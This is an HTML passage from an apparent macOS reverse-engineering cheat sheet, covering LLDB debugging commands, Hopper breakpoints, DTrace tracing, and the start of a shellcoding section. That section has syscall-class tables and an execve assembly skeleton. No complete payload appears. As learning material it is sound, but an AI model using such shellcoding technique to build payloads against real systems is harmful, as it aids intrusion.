      <td>Dump Memory as Double Words</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format W</code></td>
      <td>Reads memory content as 32-bit double words.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format W 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Quad Words</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format q</code></td>
      <td>Reads memory content as 64-bit quad words.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format q 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Pointers</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format p</code></td>
      <td>Reads memory content as pointer values.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format p 0x00400000</code></td>
    </tr>
    <tr>
      <td><strong>Searching in Memory</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Search for Byte Pattern</td>
      <td><code class="language-plaintext highlighter-rouge">memory find</code></td>
      <td>Searches memory for a specific byte pattern.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory find 0x00400000 0x00401000 0x90</code></td>
    </tr>
    <tr>
      <td>Search for ASCII String</td>
      <td><code class="language-plaintext highlighter-rouge">memory find --string</code></td>
      <td>Searches memory for an ASCII string.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory find --string 0x00400000 0x00401000 "Hello"</code></td>
    </tr>
    <tr>
      <td><strong>CPU Registers Manipulation</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Show All Registers</td>
      <td><code class="language-plaintext highlighter-rouge">register read</code></td>
      <td>Displays all CPU registers.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register read</code></td>
    </tr>
    <tr>
      <td>Read Specific Register</td>
      <td><code class="language-plaintext highlighter-rouge">register read</code></td>
      <td>Displays a specific register value.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register read eax</code></td>
    </tr>
    <tr>
      <td>Write to Register</td>
      <td><code class="language-plaintext highlighter-rouge">register write</code></td>
      <td>Writes a value to a specific register.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register write eax 5</code></td>
    </tr>
    <tr>
      <td><strong>Memory Formatting Options</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Read Memory as ASCII String</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format s</code></td>
      <td>Reads memory content as ASCII strings.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format s 0x00400000</code></td>
    </tr>
    <tr>
      <td>Read Memory as Unicode String</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format U</code></td>
      <td>Reads memory content as Unicode strings.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format U 0x00400000</code></td>
    </tr>
    <tr>
      <td>Write ASCII String to Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory write --format s</code></td>
      <td>Writes an ASCII string to memory.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory write --format s 0x00400000 "Hello, World!"</code></td>
    </tr>
    <tr>
      <td>Write Unicode String to Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory write --format U</code></td>
      <td>Writes a Unicode string to memory.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory write --format U 0x00400000 "Hello, World!"</code></td>
    </tr>
    <tr>
      <td>Read Memory as Hex String</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format x</code></td>
      <td>Reads memory content and displays it as hex.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format x 0x00400000</code></td>
    </tr>
    <tr>
      <td>Read Memory as Decimal</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format d</code></td>
      <td>Reads memory content and displays it as decimal.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format d 0x00400000</code></td>
    </tr>
  </tbody>
</table>

<h3 id="breakpoints-in-lldb">Breakpoints in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Breakpoint Type</th>
      <th>Command Example</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Software Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --address [Address]</code></td>
      <td>Sets a software breakpoint at a specified memory address.</td>
    </tr>
    <tr>
      <td> </td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --name [Function] --shlib [Module]</code></td>
      <td>Sets a breakpoint at the start of a function within a specific module.</td>
    </tr>
    <tr>
      <td><strong>Unresolved Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --name [Function]</code></td>
      <td>Sets a breakpoint that will resolve when the function is loaded into memory.</td>
    </tr>
    <tr>
      <td><strong>Conditional Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --name [Function] --condition '[Condition]'</code></td>
      <td>Sets a breakpoint with a condition. The breakpoint will only trigger if the condition evaluates to true.</td>
    </tr>
    <tr>
      <td> </td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint command add [BreakpointID] --python '[PythonScript]'</code></td>
      <td>Attaches a Python script to a breakpoint. The script executes when the breakpoint hits.</td>
    </tr>
    <tr>
      <td><strong>Breakpoint-Based Actions</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint command add [BreakpointID]</code></td>
      <td>Attaches a series of LLDB commands to a breakpoint, which are executed when the breakpoint is hit.</td>
    </tr>
    <tr>
      <td><strong>Hardware Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --hardware --address [Address]</code></td>
      <td>Sets a hardware breakpoint at a specified address.</td>
    </tr>
  </tbody>
</table>

<h3 id="debugging-stepping--tracing-in-lldb">Debugging (Stepping &amp; Tracing) in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Action</th>
      <th>Command</th>
      <th>Example</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Step Over</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-over</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-over</code></td>
      <td>Executes the next line or instruction, stepping over function calls.</td>
    </tr>
    <tr>
      <td><strong>Step Into</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-in</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-in</code></td>
      <td>Executes the next line or instruction, stepping into functions and calls.</td>
    </tr>
    <tr>
      <td><strong>Step Over with Count</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-over --count [n]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-over --count 2</code></td>
      <td>Executes the next <code class="language-plaintext highlighter-rouge">[n]</code> instructions, stepping over any function calls.</td>
    </tr>
    <tr>
      <td><strong>Step Into with Count</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-in --count [n]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-in --count 2</code></td>
      <td>Executes the next <code class="language-plaintext highlighter-rouge">[n]</code> instructions, tracing into any function calls.</td>
    </tr>
    <tr>
      <td><strong>Step Out</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread step-out</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-out</code></td>
      <td>Continues execution until the current function returns to its caller.</td>
    </tr>
    <tr>
      <td><strong>Step to Next Return</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until-return</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until-return</code></td>
      <td>Executes until the current function returns.</td>
    </tr>
    <tr>
      <td><strong>Step to Next Branch</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until-branch</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until-branch</code></td>
      <td>Executes until it reaches any branching instruction.</td>
    </tr>
    <tr>
      <td><strong>Step to Next Call</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until-call</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until-call</code></td>
      <td>Executes until a call instruction is reached within the current function.</td>
    </tr>
    <tr>
      <td><strong>Step Until Address</strong></td>
      <td><code class="language-plaintext highlighter-rouge">thread until --address [addr]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread until --address 0x00400000</code></td>
      <td>Continues execution until reaching the specified address.</td>
    </tr>
  </tbody>
</table>

<h3 id="modules--info-commands-in-lldb">Modules &amp; Info Commands in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example</th>
      <th>Description</th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>List Loaded Modules</strong></td>
      <td><code class="language-plaintext highlighter-rouge">image list</code></td>
      <td>Lists all modules loaded by the process along with detailed information.</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">image list [pattern]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) image list libc</code></td>
      <td>Lists modules that match the given pattern, useful for filtering specific libraries or modules.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Examine Symbols</strong></td>
      <td><code class="language-plaintext highlighter-rouge">image lookup --name [name]</code></td>
      <td>Looks up symbols by name across all modules.</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">image lookup --name [name] --shlib [module]</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) image lookup --name strcpy --shlib libc</code></td>
      <td>Lists symbols within a specific module that match the symbol name provided.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Address Information</strong></td>
      <td><code class="language-plaintext highlighter-rouge">image lookup --address [addr]</code></td>
      <td>Provides detailed information about the function or symbol at the specified address including the module it belongs to.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Memory Protection Attributes</strong></td>
      <td><em>Not directly supported in LLDB</em></td>
      <td>LLDB does not directly provide page protection details, typically handled by OS-specific commands or tools.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Thread Environment Block</strong></td>
      <td><em>Access via memory read</em></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format x --size 8 --count 1 $teb</code></td>
      <td>Reads the Thread Environment Block (TEB) for the current thread indirectly by reading the relevant register or memory address.</td>
    </tr>
    <tr>
      <td><strong>Process Environment Block</strong></td>
      <td><em>Access via memory read</em></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format x --size 8 --count 1 $peb</code></td>
      <td>Shows the Process Environment Block (PEB) indirectly by accessing the relevant memory area, which holds process-related information.</td>
    </tr>
  </tbody>
</table>

<h3 id="evaluate-expression-in-lldb">Evaluate Expression in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Evaluate Expression</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression</code></td>
      <td>Evaluates C/C++ expressions, including function calls and accessing variables.</td>
    </tr>
    <tr>
      <td>expression [expr]</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) expression 3 + 4</code></td>
      <td>Evaluates the sum of 3 and 4.</td>
    </tr>
    <tr>
      <td><strong>Convert Hex to Dec</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression (int)0x20</code></td>
      <td>Converts a hexadecimal number to its decimal equivalent.</td>
    </tr>
    <tr>
      <td><strong>Convert Dec to Hex</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression (hex)54</code></td>
      <td>Converts a decimal number to its hexadecimal equivalent. Note: Use format specifiers for output formatting.</td>
    </tr>
    <tr>
      <td><strong>Bitwise Shift</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression 3 &lt;&lt; 1</code></td>
      <td>Performs a bitwise left shift on a number, effectively multiplying it by 2.</td>
    </tr>
    <tr>
      <td><strong>Bitwise AND</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression 0x12345678 &amp; 0xffff</code></td>
      <td>Performs a bitwise AND operation to mask certain bits.</td>
    </tr>
    <tr>
      <td><strong>Use Register Value</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression $rip + 24</code></td>
      <td>Evaluates an expression using the current value of the rip register (note: rip for x64, eip for x86) and adds a value to it.</td>
    </tr>
    <tr>
      <td><strong>Negative Hex Representation</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression -0x0fe</code></td>
      <td>Evaluates the negative hexadecimal representation of a number.</td>
    </tr>
    <tr>
      <td><strong>Evaluate with Context</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression -- [expr]</code></td>
      <td>Evaluates expressions with full access to the program’s variables and memory.</td>
    </tr>
    <tr>
      <td> </td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) expression -- (char*)$rdi</code></td>
      <td>Interprets the value of the rdi register as a pointer to a character (string).</td>
    </tr>
    <tr>
      <td><strong>Format Results in Hex</strong></td>
      <td><code class="language-plaintext highlighter-rouge">expression -f x -- (expression)</code></td>
      <td>Formats the result of an expression in hexadecimal.</td>
    </tr>
  </tbody>
</table>

<h3 id="lldb-scripting">LLDB Scripting</h3>

<table>
  <thead>
    <tr>
      <th>Description</th>
      <th>Script Command</th>
      <th>Example</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Assign a value to a pseudo-register</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command script add</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.set_register my_cmd</code></td>
      <td>Adds a custom command that sets a register value, defined in a Python function <code class="language-plaintext highlighter-rouge">my_script.set_register</code>.</td>
    </tr>
    <tr>
      <td><strong>Execute a command repeatedly</strong></td>
      <td>Python looping in script</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.loop_command my_loop</code></td>
      <td>Adds a loop command defined in <code class="language-plaintext highlighter-rouge">my_script.loop_command</code> to execute LLDB commands repeatedly.</td>
    </tr>
    <tr>
      <td><strong>Conditional breakpoint with script</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint command add</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) breakpoint set --name func -c "int_var == 1"</code></td>
      <td>Sets a conditional breakpoint that only triggers if <code class="language-plaintext highlighter-rouge">int_var</code> equals 1.</td>
    </tr>
    <tr>
      <td><strong>Write to a log file</strong></td>
      <td>Python scripting to log output</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.log_output log_cmd</code></td>
      <td>Custom script to log debugging output to a file, defined in <code class="language-plaintext highlighter-rouge">my_script.log_output</code>.</td>
    </tr>
    <tr>
      <td><strong>Branching in script</strong></td>
      <td>Python if-else in command script</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.check_condition check_cmd</code></td>
      <td>Implements branching logic within an LLDB command script defined in <code class="language-plaintext highlighter-rouge">my_script.check_condition</code>.</td>
    </tr>
    <tr>
      <td><strong>Using aliases</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command alias</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command alias ls_regs register read</code></td>
      <td>Creates an alias <code class="language-plaintext highlighter-rouge">ls_regs</code> for the <code class="language-plaintext highlighter-rouge">register read</code> command.</td>
    </tr>
    <tr>
      <td><strong>Script loops with aliases</strong></td>
      <td>Python loops to execute commands</td>
      <td>Define a loop in a Python script and use <code class="language-plaintext highlighter-rouge">lldb API</code> to execute LLDB commands within the loop.</td>
      <td>Useful for repetitive tasks, where Python controls the loop logic.</td>
    </tr>
    <tr>
      <td><strong>Data manipulation with scripts</strong></td>
      <td>Use Python scripts for data manipulation</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.manipulate_data data_cmd</code></td>
      <td>Custom script to manipulate data, defined in <code class="language-plaintext highlighter-rouge">my_script.manipulate_data</code>.</td>
    </tr>
    <tr>
      <td><strong>Logging with a condition</strong></td>
      <td>Conditional logging via Python script</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.conditional_log log_if_cmd</code></td>
      <td>Adds conditional logging functionality through a custom script <code class="language-plaintext highlighter-rouge">my_script.conditional_log</code>.</td>
    </tr>
    <tr>
      <td><strong>Iterating over a list of addresses</strong></td>
      <td>Python for loop in scripting</td>
      <td>Script a Python for loop to iterate over addresses and execute LLDB commands.</td>
      <td>Use Python to automate tasks over a range of memory addresses.</td>
    </tr>
    <tr>
      <td><strong>Conditionally modifying memory</strong></td>
      <td>Use Python conditionals and LLDB commands</td>
      <td>Define conditions in Python and use LLDB API to modify memory based on these conditions.</td>
      <td>Combines Python’s conditional logic with memory modification commands in LLDB.</td>
    </tr>
    <tr>
      <td><strong>Running a script file</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command source</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command source /path/to/my_script.lldb</code></td>
      <td>Executes LLDB commands from a script file.</td>
    </tr>
    <tr>
      <td><strong>Custom command sequences</strong></td>
      <td><code class="language-plaintext highlighter-rouge">command script add</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.custom_sequence my_sequence</code></td>
      <td>Adds a custom command sequence defined in <code class="language-plaintext highlighter-rouge">my_script.custom_sequence</code>.</td>
    </tr>
  </tbody>
</table>

<h2 id="hopper-1">Hopper</h2>

<h3 id="set-a-breakpoint">Set a breakpoint</h3>

<ul>
  <li>One the red line on the left side click on the line you want to set breakpoint at:</li>
</ul>

<p><img width="513" height="186" alt="image" src="https://github.com/user-attachments/assets/a9db6bb6-2a40-4169-a521-cb939ba97c31" /></p>

<h3 id="bookmark-an-instruction">BookMark an instruction</h3>

<ul>
  <li>On the green line on the left side click on the line next to the instruction you want to bookmark:</li>
</ul>

<p><img width="516" height="181" alt="image" src="https://github.com/user-attachments/assets/1b6c069c-a7e9-400b-a15e-c7187d3a1524" /></p>

<h3 id="bookark-list">Bookark list</h3>

<p><img width="259" height="194" alt="image" src="https://github.com/user-attachments/assets/36525fdb-ea53-4744-bc0e-b97dad8ce22a" /></p>

<h3 id="breakpoints-list">Breakpoints list</h3>

<p><img width="255" height="196" alt="image" src="https://github.com/user-attachments/assets/ed5e94b1-bc33-449a-a730-2e9dcdb51211" /></p>

<h3 id="debugger">Debugger</h3>

<ul>
  <li>Choose the local or remote debugging
<img width="830" height="346" alt="image" src="https://github.com/user-attachments/assets/3a1bb1ef-ebe4-48f8-aaf7-37c3e64bb100" /></li>
</ul>

<h3 id="local-debugging">Local Debugging</h3>
<p><img width="1299" height="777" alt="image" src="https://github.com/user-attachments/assets/f6705863-b2d0-4d13-96c7-2cc2d3fe3cbb" /></p>

<ol>
  <li><strong>Controls</strong>:
    <ul>
      <li>This area typically contains buttons for controlling the debugging session, such as starting/pausing the execution (Play/Pause buttons), stopping the debug session, stepping into/over/out of functions (Step commands), and potentially restarting the debugged program. The “Connected” indicator suggests a successful attachment to the process or target for debugging.</li>
    </ul>
  </li>
  <li><strong>Threads and Callstack</strong>:
    <ul>
      <li>This section is split into two main parts:
        <ul>
          <li><strong>Threads</strong>: Shows a list of all the threads in the current debugging session. You can select a thread to view its call stack and register state.</li>
          <li><strong>Callstack</strong>: Displays the call stack of the selected thread. The call stack lists the sequence of function calls that are currently active. It starts with the current function where the execution is paused and goes back to the initial function call.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li><strong>Attach to Process</strong>:
    <ul>
      <li>This button is used to attach the debugger to a running process. You can use this if you want to debug a program that is already running rather than starting a new debug session.</li>
    </ul>
  </li>
  <li><strong>Register Groups</strong>:
    <ul>
      <li>The register tabs (GPR, FPU, MMX, etc.) organize the display of the CPU’s registers into groups:
        <ul>
          <li><strong>GPR (General Purpose Registers)</strong>: Displays general-purpose registers like RAX, RBX, RCX, etc. These registers are used for a variety of purposes, including arithmetic and data manipulation.</li>
          <li><strong>FPU (Floating-Point Unit Registers)</strong>: Shows the state of floating-point registers used for floating-point arithmetic operations.</li>
          <li><strong>MMX (Multimedia Extensions Registers)</strong>: Lists MMX registers which are used for multimedia tasks like audio or video processing.</li>
          <li>Each register may have indicators or buttons next to them for additional functionalities like setting watchpoints or modifying their values.</li>
        </ul>
      </li>
      <li><strong>Memory</strong>: A tab or section for viewing and editing the memory of the process being debugged.</li>
      <li><strong>Debugger Console</strong>: An interface for typing commands directly into the debugger, similar to a command-line interface.</li>
      <li><strong>Application Output</strong>: Where the standard output and error streams from the debugged process are displayed. This is where you would see print statements or error messages from the program.</li>
      <li><strong>Various CPU registers state</strong> (right side): Displaying the current state of additional registers, like segment registers (CS, DS, ES, etc.) and flags (RFLAGS), providing status flags and control bits used by the CPU.
        <h2 id="dtrace">DTrace</h2>
        <p>DTrace is a comprehensive dynamic tracing framework that is integrated into the <code class="language-plaintext highlighter-rouge">XNU</code> kernel on <code class="language-plaintext highlighter-rouge">macOS</code>. It provides detailed real-time insights into kernel and application behavior.</p>
      </li>
    </ul>
  </li>
</ol>

<h3 id="dtrace-basic-terms">DTrace Basic Terms</h3>

<ul>
  <li><strong>Providers</strong>: Modules within the kernel that offer tracing functionality. Example: <code class="language-plaintext highlighter-rouge">syscall</code>.</li>
  <li><strong>Probes</strong>: Trace points within providers that monitor specific events, like function entry and exit.</li>
  <li><strong>DTrace Consumers</strong>: Utilities that interact with DTrace, such as the <code class="language-plaintext highlighter-rouge">dtrace</code> command.</li>
  <li><strong>D Language</strong>: Scripting language used to write DTrace programs.</li>
</ul>

<h3 id="dtrace-and-utilities-for-different-usages">DTrace and Utilities for Different Usages</h3>

<table>
  <thead>
    <tr>
      <th>Utility/Command</th>
      <th>Options</th>
      <th>Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-l</code></td>
      <td>List Probes</td>
      <td>Lists all DTrace probes available on the system.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-n 'probe description'</code></td>
      <td>Start Tracing</td>
      <td>Initiates tracing based on a specified probe description.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-s script.d</code></td>
      <td>Run Script</td>
      <td>Executes a DTrace script from a file.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-q</code></td>
      <td>Quiet Mode</td>
      <td>Suppresses output of DTrace actions, useful for scripts that do not require immediate console output.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtruss</code></td>
      <td><code class="language-plaintext highlighter-rouge">-n process</code></td>
      <td>Trace Process</td>
      <td>Runs the dtruss script to trace system calls made by the specified process.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtruss</code></td>
      <td><code class="language-plaintext highlighter-rouge">-e</code></td>
      <td>Trace Executable</td>
      <td>Traces system calls when a specific executable is run.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dtruss</code></td>
      <td><code class="language-plaintext highlighter-rouge">-p PID</code></td>
      <td>Trace PID</td>
      <td>Attaches to an existing process and traces its system calls.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">iosnoop</code></td>
      <td>N/A</td>
      <td>I/O Monitor</td>
      <td>Monitors file I/O activity in real-time.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">opensnoop</code></td>
      <td><code class="language-plaintext highlighter-rouge">-n process</code></td>
      <td>File Access Monitor</td>
      <td>Monitors files being opened by a specific process.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">execsnoop</code></td>
      <td>N/A</td>
      <td>Exec Calls Monitor</td>
      <td>Monitors execution of processes.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">errinfo</code></td>
      <td>N/A</td>
      <td>Error Monitor</td>
      <td>Monitors system call failures.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dapptrace</code></td>
      <td><code class="language-plaintext highlighter-rouge">-p PID</code></td>
      <td>Application Tracer</td>
      <td>Traces application-level activity for the specified process ID.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">bitesize.d</code></td>
      <td>N/A</td>
      <td>Disk I/O Size Analysis</td>
      <td>Analyzes disk I/O size by process, using DTrace.</td>
    </tr>
  </tbody>
</table>

<h4 id="examples-of-dtrace-script-usage">Examples of DTrace Script Usage</h4>

<ol>
  <li><strong>List all syscall probes for open calls</strong></li>
  <li>
    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="nb">sudo </span>dtrace <span class="nt">-l</span> <span class="nt">-n</span> <span class="s1">'syscall::open*:entry'</span>
</code></pre></div>    </div>
  </li>
  <li><strong>Trace system calls for a process named ‘myapp’</strong></li>
  <li>
    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="nb">sudo </span>dtrace <span class="nt">-n</span> <span class="s1">'syscall:::entry /execname == "myapp"/ { trace(probefunc); }'</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Run a DTrace script from a file</strong></p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dtrace <span class="nt">-s</span> /path/to/myscript.d
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Trace file opens for process ID 12345 using opensnoop</strong></p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>opensnoop <span class="nt">-p</span> 12345
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Monitor disk I/O size by process using bitesize.d</strong></p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>bitesize.d
</code></pre></div>    </div>
  </li>
</ol>

<ul>
  <li>Scripting with <code class="language-plaintext highlighter-rouge">dtrace</code>:
    <ul>
      <li>https://docs.oracle.com/cd/E18752_01/html/819-5488/docinfo.html</li>
      <li>https://docs.oracle.com/en/operating-systems/solaris/oracle-solaris/11.4/dtrace-guide/index.html</li>
    </ul>
  </li>
</ul>

<h1 id="shellcoding-on-amd64">Shellcoding On AMD64</h1>

<h2 id="macos-system-call-classes">macOS System Call Classes</h2>

<table>
  <thead>
    <tr>
      <th>Class Number</th>
      <th>Class Name</th>
      <th>Description</th>
      <th>Masked Value Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_NONE</code></td>
      <td>Invalid System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x0000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code></td>
      <td>Mach-related System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x01000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code></td>
      <td>Unix/BSD System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x02000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">3</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MDEP</code></td>
      <td>Machine-dependent Syscalls</td>
      <td><code class="language-plaintext highlighter-rouge">0x03000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">4</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_DIAG</code></td>
      <td>Diagnostic System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x04000000</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">5</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_IPC</code></td>
      <td>Mach IPC System Calls</td>
      <td><code class="language-plaintext highlighter-rouge">0x05000000</code></td>
    </tr>
  </tbody>
</table>

<p>Each system call class is associated with a unique number, which is shifted left by 24 bits (defined by <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_SHIFT</code>) to determine its class. The <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MASK</code> and <code class="language-plaintext highlighter-rouge">SYSCALL_NUMBER_MASK</code> are used to extract the class and syscall number respectively.</p>

<p>For example, a traditional BSD system call such as <code class="language-plaintext highlighter-rouge">execve</code> (system call number <code class="language-plaintext highlighter-rouge">59</code> or <code class="language-plaintext highlighter-rouge">0x3b</code>) in the <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (number <code class="language-plaintext highlighter-rouge">2</code>) would be represented as <code class="language-plaintext highlighter-rouge">0x200003b</code> when passed to the syscall assembly instruction.</p>

<pre><code class="language-asm">; Assembly example to make a syscall with execve (BSD) in macOS
mov rax, 0x200003b  ; Load the syscall number for execve (59 with class mask)
mov rdi, address    ; Address of the command to execute
mov rsi, argv       ; Pointer to an array of arguments
mov rdx, envp       ; Pointer to an array of environment variables
syscall             ; Make the system call
</code></pre>

<h2 id="calling-conventions-and-registers-for-shellcoding-on-macos-amd64">Calling Conventions and Registers for Shellcoding on macOS (AMD64)</h2>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDI</code></td>
      <td>1st function argument</td>
    </tr>
    <tr>
